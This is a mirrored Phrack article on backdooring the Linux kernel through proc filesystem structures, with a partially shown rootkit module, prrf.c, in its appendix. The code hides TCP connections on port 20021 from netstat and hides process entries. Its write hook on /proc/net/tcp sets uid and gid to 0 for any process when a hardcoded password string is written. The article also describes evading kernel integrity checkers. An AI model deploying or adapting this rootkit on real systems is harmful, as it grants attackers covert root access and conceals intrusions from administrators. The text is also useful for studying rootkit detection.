mirror of
https://github.com/fdiskyou/Zines.git
synced 2025-03-09 00:00:00 +01:00
1069 lines
29 KiB
Text
1069 lines
29 KiB
Text
==Phrack Inc.==
|
|
|
|
Volume 0x0b, Issue 0x3a, Phile #0x06 of 0x0e
|
|
|
|
|=-----=[ Sub proc_root Quando Sumus (Advances in Kernel Hacking) ]=-----=|
|
|
|=-----------------------------------------------------------------------=|
|
|
|=-----------------=[ palmers <palmers@team-teso.net> ]=-----------------=|
|
|
|
|
--[ Contents
|
|
|
|
1 - Introduction
|
|
|
|
2 - VFS and Proc Primer
|
|
2.1 - VFS and why Proc?
|
|
2.2 - proc_fs.h
|
|
2.3 - The proc_root
|
|
|
|
3 - Where to Go?
|
|
3.1 - Securing?
|
|
3.2 - Denial of Service
|
|
3.3 - Connection Hiding
|
|
3.4 - Elevation of Privileges
|
|
3.5 - Process Hiding
|
|
3.6 - Other Applications
|
|
|
|
4 - Conclusion
|
|
|
|
5 - Reference
|
|
|
|
Appendix A: prrf.c
|
|
|
|
|
|
|
|
--[ 1 - Introduction
|
|
|
|
"The nineteenth century dislike of romanticism is the rage of Caliban
|
|
seeing his own face in the glass.
|
|
The nineteenth century dislike of realism is the rage of Caliban not seeing
|
|
his own face in the glass."
|
|
- Oscar Wilde, the preface to "The picture of Dorian Gray"
|
|
|
|
Since I concern here on hacking, not literature, lets restate it. Our
|
|
romanticism is security, realism is its shadow. This article is about the
|
|
hacker Caliban. Our glass shall be the Linux kernel.
|
|
|
|
Not the whole kernel; especially the proc filesystem. It offers interesting
|
|
features and they are used a lot in userland.
|
|
|
|
I will only describe this techniques for use in Linux kernel modules (LKM). It
|
|
is up to the reader to port these techniques. Though, the techniques are port-
|
|
able, their use will be very bounded on other unices. The proc filesystem,
|
|
developed to the extends as in Linux, is not that extended in other unices. In
|
|
general, it lists one directory per process. In Linux it can be used to gather
|
|
plenty of information. Many programs rely on it. More informations can be
|
|
found in [7] and [8].
|
|
|
|
Older versions of UNIX and HP-UX 10.x do not provide the proc filesystem.
|
|
Process data, such as that obtained by the ps(1) command, is obtained by reading
|
|
kernel memory directly. This requires superuser permissions and is even less
|
|
portable than the proc filesystem structure.
|
|
|
|
|
|
--[ 2 - VFS and Proc Primer
|
|
|
|
First I will line out the needed basics to understand the techniques
|
|
explained later on. Then proc filesystem design will be investigated,
|
|
finally we will dive into, well, the roof top.
|
|
|
|
|
|
--[ 2.1 - VFS and why Proc?
|
|
|
|
The kernel provides a filesystem abstraction layer, called virtual filesystem
|
|
or VFS. It is used to provide a unified view on any filesystem from the
|
|
userland (see [1] for details). More on this methodology can be found in [2].
|
|
|
|
We will not look at proc from VFS view. We look at the un-unified filesystem,
|
|
which is at the implementation level of the proc filesystem. This has a simple
|
|
reason. We want to apply changes to proc and it still should look like any other
|
|
filesystem.
|
|
|
|
Did I already mention why proc is aimed at by this article? it has two
|
|
attributes that make it interesting:
|
|
|
|
1. it is a filesystem.
|
|
2. it lives completely in kernel memory.
|
|
|
|
Since it is a filesystem all access from the userland is limited to the
|
|
functionality of VFS layer provided by the kernel, namely read, write, open
|
|
and alike system calls (besides other access methods, see [3]).
|
|
|
|
I will elaborate on the question: How can the kernel be backdoored without
|
|
changing system calls.
|
|
|
|
|
|
--[ 2.2 - proc_fs.h
|
|
|
|
This subchapter will concern on the file named proc_fs.h; commonly in
|
|
~/include/linux/, where ~ is the root of you kernel source tree. Ok, here
|
|
we go for 2.2 series:
|
|
|
|
/*
|
|
* This is not completely implemented yet. The idea is to
|
|
* create an in-memory tree (like the actual /proc filesystem
|
|
* tree) of these proc_dir_entries, so that we can dynamically
|
|
* add new files to /proc.
|
|
*
|
|
* The "next" pointer creates a linked list of one /proc directory,
|
|
* while parent/subdir create the directory structure (every
|
|
* /proc file has a parent, but "subdir" is NULL for all
|
|
* non-directory entries).
|
|
*
|
|
* "get_info" is called at "read", while "fill_inode" is used to
|
|
* fill in file type/protection/owner information specific to the
|
|
* particular /proc file.
|
|
*/
|
|
struct proc_dir_entry {
|
|
unsigned short low_ino;
|
|
unsigned short namelen;
|
|
const char *name;
|
|
mode_t mode;
|
|
nlink_t nlink;
|
|
uid_t uid;
|
|
gid_t gid;
|
|
unsigned long size;
|
|
struct inode_operations * ops;
|
|
int (*get_info)(char *, char **, off_t, int, int);
|
|
void (*fill_inode)(struct inode *, int);
|
|
struct proc_dir_entry *next, *parent, *subdir;
|
|
void *data;
|
|
int (*read_proc)(char *page, char **start, off_t off,
|
|
int count, int *eof, void *data);
|
|
int (*write_proc)(struct file *file, const char *buffer,
|
|
unsigned long count, void *data);
|
|
int (*readlink_proc)(struct proc_dir_entry *de, char *page);
|
|
unsigned int count; /* use count */
|
|
int deleted; /* delete flag */
|
|
};
|
|
|
|
The described "in-memory tree" will be unified by the VFS. This
|
|
struct is a little different in 2.4 kernel:
|
|
|
|
/*
|
|
* This is not completely implemented yet. The idea is to
|
|
* create an in-memory tree (like the actual /proc filesystem
|
|
* tree) of these proc_dir_entries, so that we can dynamically
|
|
* add new files to /proc.
|
|
*
|
|
* The "next" pointer creates a linked list of one /proc directory,
|
|
* while parent/subdir create the directory structure (every
|
|
* /proc file has a parent, but "subdir" is NULL for all
|
|
* non-directory entries).
|
|
*
|
|
* "get_info" is called at "read", while "owner" is used to protect module
|
|
* from unloading while proc_dir_entry is in use
|
|
*/
|
|
|
|
typedef int (read_proc_t)(char *page, char **start, off_t off,
|
|
int count, int *eof, void *data);
|
|
typedef int (write_proc_t)(struct file *file, const char *buffer,
|
|
unsigned long count, void *data);
|
|
typedef int (get_info_t)(char *, char **, off_t, int);
|
|
|
|
struct proc_dir_entry {
|
|
unsigned short low_ino;
|
|
unsigned short namelen;
|
|
const char *name;
|
|
mode_t mode;
|
|
nlink_t nlink;
|
|
uid_t uid;
|
|
gid_t gid;
|
|
unsigned long size;
|
|
struct inode_operations * proc_iops;
|
|
struct file_operations * proc_fops;
|
|
get_info_t *get_info;
|
|
struct module *owner;
|
|
struct proc_dir_entry *next, *parent, *subdir;
|
|
void *data;
|
|
read_proc_t *read_proc;
|
|
write_proc_t *write_proc;
|
|
atomic_t count; /* use count */
|
|
int deleted; /* delete flag */
|
|
kdev_t rdev;
|
|
};
|
|
|
|
Years of development did not complete it. Err.. complete it, yet. But
|
|
well enough, it changed. get_info function prototype lost a argument.
|
|
Working around this makes portable code a bit messy.
|
|
|
|
Note that there are three new entries while one entry, readlink_proc,
|
|
was removed. Also note, the file operation struct was moved from the
|
|
inode operations into the proc_dir_entry struct. Working around this
|
|
is just fine, see section 3.
|
|
|
|
|
|
--[ 2.3 - The proc_root
|
|
|
|
The Linux kernel exports the root inode of the proc filesystem, named
|
|
proc_root. Hence, it is the root inode of the proc filesystem that the
|
|
mountpoint, commonly /proc, is referring to. We can, starting there, go to
|
|
any file in below that directory. However, there is one exception. The
|
|
processes' directories can never be reached from proc_root. They are added
|
|
dynamically, and presented to the VFS layer if readdir (inode operation) is
|
|
called.
|
|
|
|
It should be made clear that proc_root is of type
|
|
"struct proc_dir_entry".
|
|
|
|
|
|
--[ 3 - Where to Go?
|
|
|
|
This chapter will introduce techiques to aquire even more abilities than
|
|
commonly obtained by systemcall replacement.
|
|
|
|
The following functions and macros will be used in the code provided in
|
|
these subsections (note: for implementation see appendix A):
|
|
|
|
As noted in section 2.2 we have to take care of a little change in
|
|
design:
|
|
|
|
#if defined (KERNEL_22)
|
|
#define FILE_OPS ops->default_file_ops
|
|
#define INODE_OPS ops
|
|
#elif defined (KERNEL_24)
|
|
#define FILE_OPS proc_fops
|
|
#define INODE_OPS proc_iops
|
|
#endif
|
|
|
|
struct proc_dir_entry *
|
|
traverse_proc (char *path, struct proc_dir_entry *start):
|
|
On success, return a pointer to the proc file specified by
|
|
path. On failures, NULL is returned.
|
|
Start may either be NULL or an arbitrary proc_dir_entry; it
|
|
marks the point there the search begins.
|
|
The path may begin with "~/". If it does, the search starts at
|
|
proc_root.
|
|
|
|
int
|
|
delete_proc_file (char *path):
|
|
This function will remove a file from the proc directory
|
|
lists. It will not free the memory the proc_dir_entry occupies,
|
|
thus making it possible to reintroduce it later on.
|
|
|
|
|
|
--[ 3.1 - Securing?
|
|
|
|
The easiest modifications coming to mind are related to the first few
|
|
fields in the proc_dir_entry. Namely uid, gid and mode. By changing them
|
|
we can simply reissue and/or revoke the ability for certain users to access
|
|
certain information. Side note here: some of the information accessable
|
|
through /proc can be obtained in other ways.
|
|
|
|
An implementation may look like this:
|
|
|
|
proc_dir_entry *a = NULL;
|
|
a = traverse_proc ("~/ksyms", NULL);
|
|
if (a) {
|
|
/* reset permissions to 400 (r--------): */
|
|
a->mode -= (S_IROTH | S_IRGRP);
|
|
}
|
|
a = traverse_proc ("~/net", NULL);
|
|
if (a) {
|
|
/* reset permissions to 750 (rwxr-x---): */
|
|
a->mode = S_IRWXU | S_IRGRP | S_IXGRP;
|
|
/* reset owner group to a special admin group id */
|
|
a->gid = 7350;
|
|
}
|
|
|
|
Another possibility for securing proc access is given in 3.5.
|
|
|
|
|
|
--[ 3.2 - Denial of Service
|
|
|
|
Well, I will make this as short as possible. A malicious user might ap-
|
|
ply changes to files to render parts of the system useless. Those, as
|
|
mentioned above, can easily be undone. But if the malicious user
|
|
simply unlinks a file it is lost:
|
|
|
|
/* oops, we forget to save the pointer ... */
|
|
delete_proc_file ("~/apm");
|
|
|
|
what actually happens on delete_proc_file calls is (simplified):
|
|
0. find proc_dir_entry of the file to delete (to_del)
|
|
1. find the proc_dir_entry that matches:
|
|
proc->next->name == to_del->name
|
|
2. relink:
|
|
proc->next = to_del->next
|
|
|
|
|
|
--[ 3.3 - Connection Hiding
|
|
|
|
The netstat utility uses the proc file ~/net/* files to show e.g. tcp
|
|
connections and their status, listening udp sockets etc. Read [4] for a
|
|
complete discussion of netstat. Since we control the proc filesystem we
|
|
are able to define what is read and what is not. The proc_dir_entry struct
|
|
contains a function pointer named get_info which is called at file read.
|
|
By redirecting this we can take control of the contents of files in /proc.
|
|
|
|
Take care of the file format in different version. Files mentioned
|
|
above changed their format from 2.2.x to 2.4.x. Notably, the same function
|
|
can be used for redirection. Lets see how this develops in 2.5.x kernels.
|
|
|
|
an example (for 2.2.x kernels, for differences to 2.4.x kernel see section
|
|
2.2):
|
|
|
|
/* we save the original get_info */
|
|
int (*saved_get_info)(char *, char **, off_t, int, int);
|
|
proc_dir_entry *a = NULL;
|
|
|
|
/* the new get_info ... */
|
|
int
|
|
new_get_info (char *a, char **b, off_t c, int d, int e) {
|
|
int x = 0;
|
|
x = saved_get_info (a, b, c, d, e);
|
|
/* do something here ... */
|
|
return x;
|
|
}
|
|
|
|
a = traverse_proc ("~/net/tcp", NULL);
|
|
if (a) {
|
|
/*
|
|
* we just set the get_info pointer to point to our new
|
|
* function. to undo this changes simply restore the pointer.
|
|
*/
|
|
saved_get_info = a->get_info;
|
|
a->get_info = &new_get_info;
|
|
}
|
|
|
|
Appendix A offers a example implementation.
|
|
|
|
|
|
--[ 3.4 - Elevation of Privileges
|
|
|
|
Often a system call is utilized to give under a certian condition extra
|
|
privileges to a user. We will not redirect a system call for this. Redirecting
|
|
the read file operation of a file is sufficient hence (1) it allows a user to
|
|
send data into the kernel and (2) it is considerable stealthy if we choose the
|
|
right pattern or the right file (elevating a tasks id's to 0 if it writes a '1'
|
|
to /proc/sys/net/ipv4/ip_forward is certainly a bad idea).
|
|
|
|
Some code will explain this.
|
|
|
|
a = traverse_proc ("~/ide/drivers", NULL);
|
|
if (a) {
|
|
/*
|
|
* the write function is called if the file is written to.
|
|
*/
|
|
a->FILE_OPS->write = &new_write;
|
|
}
|
|
|
|
It is a good idea to save the pointer you overwrite. If you remove the module
|
|
memory containing the function might free'ed. It can bring havoc to a system if
|
|
it subsequently calls a NULL pointer. The curious reader is encouraged to read
|
|
appendix A.
|
|
|
|
|
|
--[ 3.5 - Process Hiding
|
|
|
|
What happens if a directory is to be read? You have to find its inode, then
|
|
you read its entries using readdir. VFS offers a unified interface to this,
|
|
we dont care and reset the pointer to readdir of the parent inode in question.
|
|
|
|
Since the process directories are directly under proc_root there is no need
|
|
for searching the parent inode. Note that we do not hide the entries from the
|
|
user by sorting them out, but by not writing them to the users memory.
|
|
|
|
|
|
/* a global pointer to the original filldir function */
|
|
filldir_t real_filldir;
|
|
|
|
static int new_filldir_root (void * __buf, const char * name,
|
|
int namlen, off_t offset, ino_t ino) {
|
|
/*
|
|
* if the dir entry, that should be added has a stupid name
|
|
* indicate a successful addition and do nothing.
|
|
*/
|
|
if (isHidden (name))
|
|
return 0;
|
|
return real_filldir (__buf, name, namlen, offset, ino);
|
|
}
|
|
|
|
|
|
/* readdir, business as usual. */
|
|
int new_readdir_root (struct file *a, void *b, filldir_t c) {
|
|
/*
|
|
* Note: there is no need to set this pointer every
|
|
* time new_readdir_root is called. But we have to set
|
|
* it once, when we replace the readdir function. If we
|
|
* know where filldir lies at that time this should be
|
|
* changed. (yes, filldir is static).
|
|
*/
|
|
real_filldir = c;
|
|
return old_readdir_root (a, b, new_filldir_root);
|
|
}
|
|
|
|
|
|
/* replace the readdir file operation. */
|
|
proc_root.FILE_OPS->readdir = new_readdir_root;
|
|
|
|
If the process that should be added last is hidden the list of entries is
|
|
not properly linked since our filldir does not care about linking. However,
|
|
this is very unlikely to happen. The user has all power he needs to avoid
|
|
this condition.
|
|
|
|
It is possible to just make files unaccessable within /proc by replacing
|
|
the lookup inode operation of the parent:
|
|
|
|
struct dentry *new_lookup_root (struct inode *a, struct dentry *b) {
|
|
/*
|
|
* will result in:
|
|
* "/bin/ls: /proc/<d_iname>: No such file or directory"
|
|
*/
|
|
if (isHidden (b->d_iname))
|
|
return NULL;
|
|
return old_lookup_root (a, b);
|
|
}
|
|
|
|
/* ... enable the feature ... */
|
|
proc_root.INODE_OPS->lookup = &new_lookup_root;
|
|
|
|
E.g. this can be used to establish fine grained access rules.
|
|
|
|
|
|
--[ 3.6 - Other Applications
|
|
|
|
Now, lets have a look at what files wait to become modified. In the /proc/net
|
|
directory are ip_fwnames (defining chain names) and ip_fwchains (rules).
|
|
They are read by ipchains (not by iptables) if they are queried to list the
|
|
filter rules. As mentioned above, there is a file named tcp, listening all
|
|
existing tcp sockets. such a file exists for udp, too. the file raw lists
|
|
raw sockets. sockstat contains statistics on socket use. A carefully written
|
|
backdoor has to sync between the (tcp|udp|...) files and this one. The arp
|
|
utility uses /proc/net/arp to gather its information. route uses the
|
|
/proc/net/route file. Read their manpages and look out for the sections
|
|
named "FILES" and "SEE ALSO". However, checking the files is only half of
|
|
the work, e.g. ifconfig uses a proc file (dev) plus ioctl's to gether its
|
|
information.
|
|
|
|
As you can see, there are many many applications to these techniques. It
|
|
is up to you to write new get_info functions to filter their output or to
|
|
add new evil entries (non existing problems are the hardest to debug).
|
|
|
|
|
|
--[ 4 - Conclusion
|
|
|
|
As we saw in section 3.2 - 3.6 there are several possibilities to weaken
|
|
the security in the Linux kernel. Existing kernel protection mechanisms, as
|
|
[5] and [6] will not prevent them, they check only for well known, system call
|
|
based, backdooring; we completely worked around it. Disabling LKM support will
|
|
only prevent the specific implementation included here to work (because it is
|
|
a LKM).
|
|
|
|
Changing the proc structures by accessing /dev[k]mem is easy since most
|
|
data of the inodes is static. Therefore they can be possibly found by simple
|
|
pattern matching (only the function pointers and next/parent/subdir pointers
|
|
will be different).
|
|
|
|
A important goal, hiding of any directory and file, was not passed. This does
|
|
not imply that it can not be reached by proc games. A possiblity could be to
|
|
hardcode needed binaries into the kernel images proc structures, or on systems
|
|
using sdram, leting them occupy unused memory space. Quiet another possibility
|
|
might be to attack the VFS layer. That, of course, is the story of another
|
|
article.
|
|
|
|
Finally some words about the implementation appended. I strongly urge the read
|
|
to use it ONLY as a proof of concept. The author can and must not be made
|
|
responsible for any, including but not limited to, incidental or consequential
|
|
damage, data loss or service outage. The code is provided "AS IS" and WITHOUT
|
|
ANY WARRENTY. USE IT AT YOU OWN RISK. The code is know to compile and run on
|
|
2.2.x and 2.4.x kernels.
|
|
|
|
|
|
--[ 5 - Reference
|
|
|
|
[1] "Overview of the Virtual File System", Richard Gooch <rgooch@atnf.csiro.au>
|
|
http://www.atnf.csiro.au/~rgooch/linux/docs/vfs.txt
|
|
[2] "Operating Systems, Design and Implementation", by Andrew S. Tanenbaum and
|
|
Albert S. Woodhull
|
|
ISBN 0-13-630195-9
|
|
[3] RUNTIME KERNEL KMEM PATCHING, Silvio Cesare <silvio@big.net.au>
|
|
http://www.big.net.au/~silvio/runtime-kernel-kmem-patching.txt
|
|
[4] netstat
|
|
see netstat(1) for further information.
|
|
[5] StMichael, by Tim Lawless <lawless@netdoor.com>
|
|
http://sourceforge.net/projects/stjude
|
|
[6] KSTAT, by FuSyS <fusys@s0ftpj.org>
|
|
http://s0ftpj.org/tools/kstat.tgz
|
|
[7] proc pseudo-filesystem man page
|
|
see proc(5)
|
|
[8] "T H E /proc F I L E S Y S T E M", Terrehon Bowden <terrehon@pacbell.net>,
|
|
Bodo Bauer <bb@ricochet.net> and Jorge Nerin <comandante@zaralinux.com>
|
|
~/Documentation/filesystems/proc.txt (only in recent kernel source trees!)
|
|
http://skaro.nightcrawler.com/~bb/Docs/Proc
|
|
|
|
|
|
--[ Appendix A: prrf.c
|
|
|
|
<++> ./prrf.c
|
|
/*
|
|
* prrf.c
|
|
*
|
|
* LICENSE:
|
|
* this file may be copied or duplicated in any form, in
|
|
* whole or in part, modified or not, as long as this
|
|
* copyright notice is prepended UNMODIFIED.
|
|
*
|
|
* This code is proof of concept. The author can and must
|
|
* not be made responsible for any, including but not limited
|
|
* to, incidental or consequential damage, data loss or
|
|
* service outage. The code is provided "AS IS" and WITHOUT
|
|
* ANY WARRENTY. USE IT AT YOU OWN RISK.
|
|
*
|
|
* palmers / teso - 12/02/2001
|
|
*/
|
|
|
|
/*
|
|
* NOTE: the get_info redirection DOES NOT handle small buffers.
|
|
* your system _might_ oops or even crash if you read less
|
|
* bytes then the file contains!
|
|
*/
|
|
|
|
/*
|
|
* 2.2.x #define KERNEL_22
|
|
* 2.4.x #define KERNEL_24
|
|
*/
|
|
#define KERNEL_22 1
|
|
#define DEBUG 1
|
|
|
|
#define __KERNEL__
|
|
#define MODULE
|
|
#include <linux/module.h>
|
|
#include <linux/kernel.h>
|
|
#include <sys/syscall.h>
|
|
#include <linux/config.h>
|
|
#include <linux/types.h>
|
|
#include <linux/slab.h>
|
|
#include <linux/smp_lock.h>
|
|
#include <linux/fd.h>
|
|
#include <linux/fs.h>
|
|
#include <linux/proc_fs.h>
|
|
#include <linux/sched.h>
|
|
#include <asm/uaccess.h>
|
|
|
|
|
|
/*
|
|
* take care of proc_dir_entry design
|
|
*/
|
|
#if defined (KERNEL_22)
|
|
#define FILE_OPS ops->default_file_ops
|
|
#define INODE_OPS ops
|
|
#elif defined (KERNEL_24)
|
|
#define FILE_OPS proc_fops
|
|
#define INODE_OPS proc_iops
|
|
#endif
|
|
|
|
#define BUF_SIZE 65535
|
|
#define AUTH_STRING "ljdu3g9edaoih"
|
|
|
|
|
|
struct hide_proc_net
|
|
{
|
|
int id; /* entry id, useless ;) */
|
|
char *local_addr, /* these should be self explaining ... */
|
|
*remote_addr,
|
|
*local_port,
|
|
*remote_port;
|
|
};
|
|
|
|
/*
|
|
* global lst_entry:
|
|
* set by traverse_proc, used by delete_proc_file.
|
|
*/
|
|
struct proc_dir_entry *lst_entry = NULL;
|
|
|
|
/*
|
|
* some function pointers for saving original functions.
|
|
*/
|
|
#if defined (KERNEL_22)
|
|
int (*old_get_info_tcp) (char *, char **, off_t, int, int);
|
|
#elif defined (KERNEL_24)
|
|
get_info_t *old_get_info_tcp;
|
|
#endif
|
|
|
|
ssize_t (*old_write_tcp) (struct file *, const char *, size_t, loff_t *);
|
|
struct dentry * (*old_lookup_root) (struct inode *, struct dentry *);
|
|
int (*old_readdir_root) (struct file *, void *, filldir_t);
|
|
filldir_t real_filldir;
|
|
|
|
|
|
/*
|
|
* rules for hiding connections
|
|
*/
|
|
struct hide_proc_net hidden_tcp[] = {
|
|
{0, NULL, NULL, ":4E35", NULL}, /* match connection from ANY:ANY to ANY:20021 */
|
|
{1, NULL, NULL, NULL, ":4E35"}, /* match connection from ANY:20021 to ANY:ANY*/
|
|
{2, NULL, NULL, ":0016", ":4E35"}, /* match connection from ANY:20021 to ANY:22 */
|
|
{7350, NULL, NULL, NULL, NULL} /* stop entry, dont forget to prepend this one */
|
|
};
|
|
|
|
|
|
/*
|
|
* get_task:
|
|
* find a task_struct by pid.
|
|
*/
|
|
struct task_struct *get_task(pid_t pid)
|
|
{
|
|
struct task_struct *p = current;
|
|
|
|
do {
|
|
if (p->pid == pid)
|
|
return p;
|
|
p = p->next_task;
|
|
} while (p != current);
|
|
return NULL;
|
|
}
|
|
|
|
|
|
/*
|
|
* __atoi:
|
|
* atoi!
|
|
*/
|
|
int __atoi(char *str)
|
|
{
|
|
int res = 0,
|
|
mul = 1;
|
|
|
|
char *ptr;
|
|
for (ptr = str + strlen(str) - 1; ptr >= str; ptr--) {
|
|
if (*ptr < '0' || *ptr > '9')
|
|
return (-1);
|
|
res += (*ptr - '0') * mul;
|
|
mul *= 10;
|
|
}
|
|
return (res);
|
|
}
|
|
|
|
|
|
/*
|
|
* get_size_off_tcp:
|
|
* get the size of the modified /proc/net/tcp file.
|
|
*/
|
|
static off_t get_size_off_tcp (char **start)
|
|
{
|
|
off_t x = 0,
|
|
xx = 0,
|
|
xxx = 0,
|
|
y = 0;
|
|
char tmp_buf[BUF_SIZE + 1];
|
|
|
|
do
|
|
{
|
|
x += y;
|
|
xx += xxx;
|
|
y = __new_get_info_tcp (tmp_buf, start, x, BUF_SIZE, 0, 1, &xxx);
|
|
} while (y != 0);
|
|
|
|
return x - xx;
|
|
}
|
|
|
|
|
|
/*
|
|
* deny_entry:
|
|
* check connection parameters against our access control list.
|
|
* for all non-NULL fields of a entry the supplied parameters
|
|
* must match. Otherways the socket will show up.
|
|
*/
|
|
int deny_entry (char *la, char *lp, char *ra, char *rp)
|
|
{
|
|
int x = 0,
|
|
y,
|
|
z;
|
|
|
|
while (hidden_tcp[x].id != 7350)
|
|
{
|
|
y = 0;
|
|
z = 0;
|
|
|
|
if (hidden_tcp[x].local_addr != NULL)
|
|
{
|
|
if (!strncmp (la, hidden_tcp[x].local_addr, 8))
|
|
y++;
|
|
}
|
|
else
|
|
z++;
|
|
|
|
if (hidden_tcp[x].remote_addr != NULL)
|
|
{
|
|
if (!strncmp (ra, hidden_tcp[x].remote_addr, 8))
|
|
y++;
|
|
}
|
|
else
|
|
z++;
|
|
|
|
if (hidden_tcp[x].local_port != NULL)
|
|
{
|
|
if (!strncmp (lp, hidden_tcp[x].local_port, 5))
|
|
y++;
|
|
}
|
|
else
|
|
z++;
|
|
|
|
if (hidden_tcp[x].remote_port != NULL)
|
|
{
|
|
if (!strncmp (rp, hidden_tcp[x].remote_port, 5))
|
|
y++;
|
|
}
|
|
else
|
|
z++;
|
|
|
|
if ((z != 4) && ((y + z) == 4))
|
|
return 1;
|
|
x++;
|
|
}
|
|
return 0;
|
|
}
|
|
|
|
|
|
/*
|
|
* __new_get_info_tcp:
|
|
* filter the original get_info output. first call the old function,
|
|
* then cut out unwanted lines.
|
|
* XXX: very small buffers will make very large problems.
|
|
*/
|
|
int __new_get_info_tcp (char *page, char **start, off_t pos, int count, int f, int what, off_t *fx)
|
|
{
|
|
char tmp_l_addr[8],
|
|
tmp_l_port[5],
|
|
tmp_r_addr[8],
|
|
tmp_r_port[5], /* used for acl checks */
|
|
*tmp_ptr,
|
|
*tmp_page;
|
|
int x = 0,
|
|
line_off = 0,
|
|
length,
|
|
remove = 0,
|
|
diff,
|
|
m;
|
|
|
|
#if defined (KERNEL_22)
|
|
x = old_get_info_tcp (page, start, pos, count, f);
|
|
#elif defined (KERNEL_24)
|
|
x = old_get_info_tcp (page, start, pos, count);
|
|
#endif
|
|
|
|
if (page == NULL)
|
|
return x;
|
|
|
|
while (*page)
|
|
{
|
|
tmp_ptr = page;
|
|
length = 28;
|
|
while (*page != '\n' && *page != '\0') /* check one line */
|
|
{
|
|
/*
|
|
* we even correct the sl field ("line number").
|
|
*/
|
|
if (line_off)
|
|
{
|
|
diff = line_off;
|
|
|
|
if (diff > 999)
|
|
{
|
|
m = diff / 1000;
|
|
page[0] -= m;
|
|
diff -= (m * 1000);
|
|
}
|
|
if (diff > 99)
|
|
{
|
|
m = diff / 100;
|
|
page[1] -= m;
|
|
diff -= (m * 100);
|
|
}
|
|
if (diff > 9)
|
|
{
|
|
m = diff / 10;
|
|
page[2] -= m;
|
|
diff -= (m * 10);
|
|
}
|
|
if (diff > 0)
|
|
page[3] -= diff;
|
|
|
|
if (page[0] > '1')
|
|
page[0] = ' ';
|
|
if (page[1] > '1')
|
|
page[1] = ' ';
|
|
if (page[2] > '1')
|
|
page[2] = ' ';
|
|
}
|
|
|
|
page += 6; /* jump to beginning of local address, XXX: is this fixed? */
|
|
memcpy (tmp_l_addr, page, 8);
|
|
|
|
page += 8; /* jump to beginning of local port */
|
|
memcpy (tmp_l_port, page, 5);
|
|
|
|
page += 6; /* jump to remote address */
|
|
memcpy (tmp_r_addr, page, 8);
|
|
|
|
page += 8; /* jump to beginning of local port */
|
|
memcpy (tmp_r_port, page, 5);
|
|
|
|
while (*page != '\n') /* jump to end */
|
|
{
|
|
page++;
|
|
length++;
|
|
}
|
|
|
|
remove = deny_entry (tmp_l_addr, tmp_l_port, tmp_r_addr, tmp_r_port);
|
|
}
|
|
page++; /* '\n' */
|
|
length++;
|
|
|
|
if (remove == 1)
|
|
{
|
|
x -= length;
|
|
if (what) /* count ignored bytes? */
|
|
*fx += length;
|
|
tmp_page = page;
|
|
page = tmp_ptr;
|
|
|
|
while (*tmp_page) /* move data backward in page */
|
|
*tmp_ptr++ = *tmp_page++;
|
|
|
|
/* zero lasting data (not needed)
|
|
while (length--)
|
|
*tmp_ptr++ = 0;
|
|
*tmp_ptr = 0;
|
|
*/
|
|
line_off++;
|
|
remove = 0;
|
|
}
|
|
}
|
|
return x;
|
|
}
|
|
|
|
|
|
/*
|
|
* new_get_info_tcp:
|
|
* we need this wrapper to avoid duplication of entries. we have to
|
|
* check for "end of file" of /proc/net/tcp, where eof lies at
|
|
* file length - length of all entries we remove.
|
|
*/
|
|
#if defined (KERNEL_22)
|
|
int new_get_info_tcp (char *page, char **start, off_t pos, int count, int f)
|
|
{
|
|
#elif defined (KERNEL_24)
|
|
int new_get_info_tcp (char *page, char **start, off_t pos, int count)
|
|
{
|
|
int f = 0;
|
|
#endif
|
|
int x = 0;
|
|
off_t max = 0;
|
|
|
|
max = get_size_off_tcp (start);
|
|
if (pos > max)
|
|
return 0;
|
|
x = __new_get_info_tcp (page, start, pos, count, f, 0, NULL);
|
|
|
|
return x;
|
|
}
|
|
|
|
|
|
/*
|
|
* new_write_tcp:
|
|
* a write function that performs misc. tasks as privilege elevation etc.
|
|
* e.g.:
|
|
* echo AUTH_STRING + nr. > /proc/net/tcp == uid 0 for pid nr.
|
|
*/
|
|
ssize_t new_write_tcp (struct file *a, const char *b, size_t c, loff_t *d)
|
|
{
|
|
char *tmp = NULL, *tmp_ptr;
|
|
tmp = kmalloc (c + 1, GFP_KERNEL);
|
|
|
|
copy_from_user (tmp, b, c);
|
|
if (tmp[strlen (tmp) - 1] == '\n')
|
|
tmp[strlen (tmp) - 1] = 0;
|
|
|
|
if (!strncmp (tmp, AUTH_STRING, strlen (AUTH_STRING)))
|
|
{
|
|
struct task_struct *x = NULL;
|
|
tmp_ptr = tmp + strlen (AUTH_STRING) + 1;
|
|
if ((x = get_task (__atoi (tmp_ptr))) == NULL)
|
|
{
|
|
kfree (tmp);
|
|
return c;
|
|
}
|
|
x->uid = x->euid = x->suid = x->fsuid = 0;
|
|
x->gid = x->egid = x->sgid = x->fsgid = 0;
|
|
}
|
|
|
|
kfree (tmp);
|
|
return c;
|
|
}
|
|
|
|
|
|
/*
|
|
* some testing ...
|
|
*/
|
|
struct dentry *new_lookup_root (struct inode *a, struct dentry *b)
|
|
{
|
|
if (b->d_iname[0] == '1')
|
|
return NULL; /* will result in: "/bin/ls: /proc/1*: No such file or directory" */
|
|
return old_lookup_root (a, b);
|
|
}
|
|
|
|
|
|
static int new_filldir_root (void * __buf, const char * name, int namlen, off_t offset, ino_t ino)
|
|
{
|
|
if (name[0] == '1' && name[1] == '0') /* hide init */
|
|
return 0;
|
|
/*
|
|
* hiding the last task will result in a wrong linked list.
|
|
* that leads e.g. to crashes (ps).
|
|
*/
|
|
return real_filldir (__buf, name, namlen, offset, ino);
|
|
}
|
|
|
|
int new_readdir_root (struct file *a, void *b, filldir_t c)
|
|
{
|
|
real_filldir = c;
|
|
return old_readdir_root (a, b, new_filldir_root);
|
|
}
|
|
|
|
|
|
/*
|
|
* traverse_proc:
|
|
* returns the directory entry of a given file. the function will traverse
|
|
* thru the filesystems structure until it found the matching file.
|
|
* the pr argument may be either NULL or a starting point for the search.
|
|
* path is a string. if it begins with '~' and pr is NULL the search starts
|
|
* at proc_root.
|
|
*/
|
|
struct proc_dir_entry *traverse_proc (char *path, struct proc_dir_entry *pr)
|
|
{
|
|
int x = 0;
|
|
char *tmp = NULL;
|
|
|
|
if (path == NULL)
|
|
return NULL;
|
|
|
|
if (path[0] == '~')
|
|
{
|
|
lst_entry = &proc_root;
|
|
return traverse_proc (path + 2, (struct proc_dir_entry *) proc_root.subdir);
|
|
}
|
|
|
|
while (path[x] != '/' && path[x] != 0)
|
|
x++;
|
|
|
|
tmp = kmalloc (x + 1, GFP_KERNEL);
|
|
memset (tmp, 0, x + 1);
|
|
memcpy (tmp, path, x);
|
|
|
|
